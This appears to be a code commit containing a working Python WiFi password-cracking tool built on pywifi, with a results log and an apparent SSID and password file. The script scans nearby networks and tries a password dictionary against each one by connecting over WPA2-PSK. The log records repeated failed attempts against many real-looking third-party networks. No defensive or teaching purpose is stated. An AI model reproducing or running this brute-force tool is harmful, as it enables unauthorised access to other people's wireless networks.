---错误--- wifi名:Tenda_66BB18匹配密码87654321
---错误--- wifi名:Tenda_66BB18匹配密码66668888
---错误--- wifi名:Tenda_66BB18匹配密码11223344
---错误--- wifi名:Tenda_66BB18匹配密码147258369
---错误--- wifi名:Tenda_66BB18匹配密码11111111
---错误--- wifi名:Tenda_66BB18匹配密码WZLZC2008723
开始破解:: Office_2.4G
---错误--- wifi名:Office_2.4G匹配密码12345678
---错误--- wifi名:Office_2.4G匹配密码123456789
---错误--- wifi名:Office_2.4G匹配密码88888888
---错误--- wifi名:Office_2.4G匹配密码1234567890
---错误--- wifi名:Office_2.4G匹配密码00000000
---错误--- wifi名:Office_2.4G匹配密码87654321
---错误--- wifi名:Office_2.4G匹配密码66668888
---错误--- wifi名:Office_2.4G匹配密码11223344
---错误--- wifi名:Office_2.4G匹配密码147258369
---错误--- wifi名:Office_2.4G匹配密码11111111
---错误--- wifi名:Office_2.4G匹配密码WZLZC2008723
开始破解:: TP-LINK_5G_F2E8
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码12345678
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码123456789
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码88888888
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码1234567890
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码00000000
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码87654321
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码66668888
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码11223344
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码147258369
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码11111111
---错误--- wifi名:TP-LINK_5G_F2E8匹配密码WZLZC2008723
开始破解:: chen
---错误--- wifi名:chen匹配密码12345678
---错误--- wifi名:chen匹配密码123456789
---错误--- wifi名:chen匹配密码88888888
---错误--- wifi名:chen匹配密码1234567890
---错误--- wifi名:chen匹配密码00000000
---错误--- wifi名:chen匹配密码87654321
---错误--- wifi名:chen匹配密码66668888
---错误--- wifi名:chen匹配密码11223344
---错误--- wifi名:chen匹配密码147258369
---错误--- wifi名:chen匹配密码11111111
---错误--- wifi名:chen匹配密码WZLZC2008723
开始破解:: FX1108
---错误--- wifi名:FX1108匹配密码12345678
---错误--- wifi名:FX1108匹配密码123456789
---错误--- wifi名:FX1108匹配密码88888888
---错误--- wifi名:FX1108匹配密码1234567890
---错误--- wifi名:FX1108匹配密码00000000
---错误--- wifi名:FX1108匹配密码87654321
---错误--- wifi名:FX1108匹配密码66668888
---错误--- wifi名:FX1108匹配密码11223344
---错误--- wifi名:FX1108匹配密码147258369
---错误--- wifi名:FX1108匹配密码11111111
---错误--- wifi名:FX1108匹配密码WZLZC2008723
开始破解:: FAST_732E
---错误--- wifi名:FAST_732E匹配密码12345678
---错误--- wifi名:FAST_732E匹配密码123456789
---错误--- wifi名:FAST_732E匹配密码88888888
---错误--- wifi名:FAST_732E匹配密码1234567890
---错误--- wifi名:FAST_732E匹配密码00000000
---错误--- wifi名:FAST_732E匹配密码87654321
---错误--- wifi名:FAST_732E匹配密码66668888
---错误--- wifi名:FAST_732E匹配密码11223344
---错误--- wifi名:FAST_732E匹配密码147258369
---错误--- wifi名:FAST_732E匹配密码11111111
---错误--- wifi名:FAST_732E匹配密码WZLZC2008723
开始破解:: CCTV20
---错误--- wifi名:CCTV20匹配密码12345678
---错误--- wifi名:CCTV20匹配密码123456789
---错误--- wifi名:CCTV20匹配密码88888888
---错误--- wifi名:CCTV20匹配密码1234567890
---错误--- wifi名:CCTV20匹配密码00000000
---错误--- wifi名:CCTV20匹配密码87654321
---错误--- wifi名:CCTV20匹配密码66668888
---错误--- wifi名:CCTV20匹配密码11223344
---错误--- wifi名:CCTV20匹配密码147258369
---错误--- wifi名:CCTV20匹配密码11111111
---错误--- wifi名:CCTV20匹配密码WZLZC2008723
开始破解:: ChinaNet-F56b
---错误--- wifi名:ChinaNet-F56b匹配密码12345678
---错误--- wifi名:ChinaNet-F56b匹配密码123456789
---错误--- wifi名:ChinaNet-F56b匹配密码88888888
---错误--- wifi名:ChinaNet-F56b匹配密码1234567890
---错误--- wifi名:ChinaNet-F56b匹配密码00000000
---错误--- wifi名:ChinaNet-F56b匹配密码87654321
---错误--- wifi名:ChinaNet-F56b匹配密码66668888
---错误--- wifi名:ChinaNet-F56b匹配密码11223344
---错误--- wifi名:ChinaNet-F56b匹配密码147258369
---错误--- wifi名:ChinaNet-F56b匹配密码11111111
---错误--- wifi名:ChinaNet-F56b匹配密码WZLZC2008723
开始破解:: ASUS
---错误--- wifi名:ASUS匹配密码12345678
---错误--- wifi名:ASUS匹配密码123456789
---错误--- wifi名:ASUS匹配密码88888888
---错误--- wifi名:ASUS匹配密码1234567890
---错误--- wifi名:ASUS匹配密码00000000
---错误--- wifi名:ASUS匹配密码87654321
---错误--- wifi名:ASUS匹配密码66668888
---错误--- wifi名:ASUS匹配密码11223344
---错误--- wifi名:ASUS匹配密码147258369
---错误--- wifi名:ASUS匹配密码11111111
---错误--- wifi名:ASUS匹配密码WZLZC2008723
开始破解:: iTV-E98j
---错误--- wifi名:iTV-E98j匹配密码12345678
---错误--- wifi名:iTV-E98j匹配密码123456789
---错误--- wifi名:iTV-E98j匹配密码88888888
---错误--- wifi名:iTV-E98j匹配密码1234567890
---错误--- wifi名:iTV-E98j匹配密码00000000
---错误--- wifi名:iTV-E98j匹配密码87654321
---错误--- wifi名:iTV-E98j匹配密码66668888
---错误--- wifi名:iTV-E98j匹配密码11223344
---错误--- wifi名:iTV-E98j匹配密码147258369
---错误--- wifi名:iTV-E98j匹配密码11111111
---错误--- wifi名:iTV-E98j匹配密码WZLZC2008723
开始破解::
---错误--- wifi名:匹配密码12345678
---错误--- wifi名:匹配密码123456789
---错误--- wifi名:匹配密码88888888
---错误--- wifi名:匹配密码1234567890
---错误--- wifi名:匹配密码00000000
---错误--- wifi名:匹配密码87654321
---错误--- wifi名:匹配密码66668888
---错误--- wifi名:匹配密码11223344
---错误--- wifi名:匹配密码147258369
---错误--- wifi名:匹配密码11111111
---错误--- wifi名:匹配密码WZLZC2008723
开始破解::
---错误--- wifi名:匹配密码12345678
---错误--- wifi名:匹配密码123456789
---错误--- wifi名:匹配密码88888888
---错误--- wifi名:匹配密码1234567890
---错误--- wifi名:匹配密码00000000
---错误--- wifi名:匹配密码87654321
---错误--- wifi名:匹配密码66668888
---错误--- wifi名:匹配密码11223344
---错误--- wifi名:匹配密码147258369
---错误--- wifi名:匹配密码11111111
---错误--- wifi名:匹配密码WZLZC2008723
开始破解::
---错误--- wifi名:匹配密码12345678
---错误--- wifi名:匹配密码123456789
---错误--- wifi名:匹配密码88888888
---错误--- wifi名:匹配密码1234567890
---错误--- wifi名:匹配密码00000000
---错误--- wifi名:匹配密码87654321
---错误--- wifi名:匹配密码66668888
---错误--- wifi名:匹配密码11223344
---错误--- wifi名:匹配密码147258369
---错误--- wifi名:匹配密码11111111
---错误--- wifi名:匹配密码WZLZC2008723
开始破解::
---错误--- wifi名:匹配密码12345678
---错误--- wifi名:匹配密码123456789
---错误--- wifi名:匹配密码88888888
---错误--- wifi名:匹配密码1234567890
---错误--- wifi名:匹配密码00000000
---错误--- wifi名:匹配密码87654321
---错误--- wifi名:匹配密码66668888
---错误--- wifi名:匹配密码11223344
---错误--- wifi名:匹配密码147258369
---错误--- wifi名:匹配密码11111111
---错误--- wifi名:匹配密码WZLZC2008723
开始破解::
---错误--- wifi名:匹配密码12345678
---错误--- wifi名:匹配密码123456789
---错误--- wifi名:匹配密码88888888
---错误--- wifi名:匹配密码1234567890
---错误--- wifi名:匹配密码00000000
---错误--- wifi名:匹配密码87654321
---错误--- wifi名:匹配密码66668888
---错误--- wifi名:匹配密码11223344
---错误--- wifi名:匹配密码147258369
---错误--- wifi名:匹配密码11111111
---错误--- wifi名:匹配密码WZLZC2008723
开始破解:: 360WiFi-32CABD
---错误--- wifi名:360WiFi-32CABD匹配密码12345678
---错误--- wifi名:360WiFi-32CABD匹配密码123456789
---错误--- wifi名:360WiFi-32CABD匹配密码88888888
---错误--- wifi名:360WiFi-32CABD匹配密码1234567890
---错误--- wifi名:360WiFi-32CABD匹配密码00000000
---错误--- wifi名:360WiFi-32CABD匹配密码87654321
---错误--- wifi名:360WiFi-32CABD匹配密码66668888
---错误--- wifi名:360WiFi-32CABD匹配密码11223344
---错误--- wifi名:360WiFi-32CABD匹配密码147258369
---错误--- wifi名:360WiFi-32CABD匹配密码11111111
---错误--- wifi名:360WiFi-32CABD匹配密码WZLZC2008723
开始破解:: TP-LINK_A3E8
---错误--- wifi名:TP-LINK_A3E8匹配密码12345678
---错误--- wifi名:TP-LINK_A3E8匹配密码123456789
---错误--- wifi名:TP-LINK_A3E8匹配密码88888888
---错误--- wifi名:TP-LINK_A3E8匹配密码1234567890
---错误--- wifi名:TP-LINK_A3E8匹配密码00000000
---错误--- wifi名:TP-LINK_A3E8匹配密码87654321
---错误--- wifi名:TP-LINK_A3E8匹配密码66668888
---错误--- wifi名:TP-LINK_A3E8匹配密码11223344
---错误--- wifi名:TP-LINK_A3E8匹配密码147258369
---错误--- wifi名:TP-LINK_A3E8匹配密码11111111
---错误--- wifi名:TP-LINK_A3E8匹配密码WZLZC2008723

View File

@ -0,0 +1,147 @@
# coding:utf-8
# coding:gbk
import time #时间
import pywifi #破解wifi
from pywifi import const #引用一些定义
from asyncio.tasks import sleep
# 需要第三方库 pywifi (python3 pip install pywifi)
# 功能:
# 1、扫描周围wifi列表 将ssid写入文本
# 2、读取密码字典进行匹配
class PoJie():
def __init__(self,ssidfile,pwdfile,resfile): # 类初始化
self.resfile = resfile # 破解结果文本文件
self.pwdfile = pwdfile # 密码字典文本文件
self.ssidfile = ssidfile # wifi的ssid列表文件
wifi = pywifi.PyWiFi() #抓取网卡接口
self.iface = wifi.interfaces()[0]#抓取第一个无线网卡
self.iface.disconnect() #测试链接断开所有链接
time.sleep(1) #休眠1秒
#测试网卡是否属于断开状态,
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def readPassWord(self,wifissid): # 读取密码字典,进行匹配
print("开始破解: %s"%wifissid)
# 将结果写入文本文件记录
res = "开始破解:: %s \n"%wifissid;
open(self.resfile,"a").write(res)
pwdfilehander=open(self.pwdfile,"r",errors="ignore")
while True:
try:
myStr =pwdfilehander.readline()
if not myStr:
break
bool1=self.test_connect(myStr,wifissid)
if bool1:
# print("密码正确:"+myStr)
# res = "密码:%s 正确 \n"%myStr;
res = "===正确=== ^_^ wifi名:%s 匹配密码:%s "%(wifissid,myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfile,"a").write(res)
break
else:
# print("密码:"+myStr+"错误")
res = "---错误--- wifi名:%s匹配密码:%s"%(wifissid,myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfile,"a").write(res)
sleep(3)
except:
continue
# 读取wifi的ssid列表、读取密码字典进行匹配
def foreachPassWord(self):
print("^_^开始读取wifi的ssid列表...")
ssidfilehander=open(self.ssidfile,"r",errors="ignore")
ssidStrs =ssidfilehander.readlines()
# print(ssidStrs)
for index in range(len(ssidStrs)):
self.readPassWord(ssidStrs[index])
print("执行完毕! ^_^")
# 扫描周边wifi列表 并写入文本中(一行一个)
def scans_wifi_list(self): # 扫描周围wifi列表
#开始扫描
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
#在若干秒后获取扫描结果
scanres = self.iface.scan_results()
#统计附近被发现的热点数量
nums = len(scanres)
# print("|SCAN GET %s"%(nums))
print("数量: %s"%(nums))
# 在控制台表格输出 扫描列表
# 表格 标题行
# print ("%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70))
print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self,scans_res): # 显示扫描周围wifi列表
#开始扫描
# self.scans_wifi_list()
for index,wifi_info in enumerate(scans_res):
# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
print("^_^ 扫描结束. ^_^")
print("^_^ 先预览. ^_^")
for index,wifi_info in enumerate(scans_res):
res = "%s\n"%wifi_info.ssid; # wifi的ssid名
print(res)
print("^_^ 预览结束. ^_^")
print("^_^ 开始写入... ^_^")
for index,wifi_info in enumerate(scans_res):
res = "%s\n"%wifi_info.ssid; # wifi的ssid名
# 将wifi的ssid名写入文本文件记录
# ssidfilehandle = open(self.ssidfile,"a").write(res)
open(self.ssidfile,"a").write(res)
print("^_^ 写入结束. ^_^")
# ssidfilehandle.close()
def test_connect(self,findStr,wifissid):#测试链接
profile = pywifi.Profile() #创建wifi链接文件
#profile.ssid ="e2" #wifi名称
# profile.ssid ="1104" #wifi名称
# profile.ssid ="1601" #wifi名称
profile.ssid =wifissid #wifi名称
profile.auth = const.AUTH_ALG_OPEN #网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = findStr #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
self.iface.connect(tmp_profile)#链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
# def __del__(self):
# ssidfilehandle.close()
# 类写完
# 开始执行
# 引入 配置参数 绝对路径写法
# pwdfile = r"C:\Users\XieZhenBin\Desktop\wifipasswd.txt" # 密码字典文本路径
# resfile = r"C:\Users\XieZhenBin\Desktop\pjRes.txt" # 结果文本文件保存路径
# ssidfile = r"C:\Users\XieZhenBin\Desktop\ssidfile.txt" # wifi的ssid的列表保存路径
# 引入 配置参数 相对路径写法
pwdfile = r"wifi_passwd.txt" # 密码字典文本路径
resfile = r"pj_res.txt" # 结果文本文件保存路径
ssidfile = r"wifi_ssid_list.txt" # wifi的ssid的列表保存路径
start = PoJie(ssidfile,pwdfile,resfile) #实例化类
# 扫描周边wifi列表
start.scans_wifi_list()
# 读取密码字典、读取wifi的ssid列表、将结果写入文本文件
start.foreachPassWord()

View File

@ -0,0 +1,2 @@
TP_LINKL_WN875
888888

Binary file not shown.

Binary file not shown.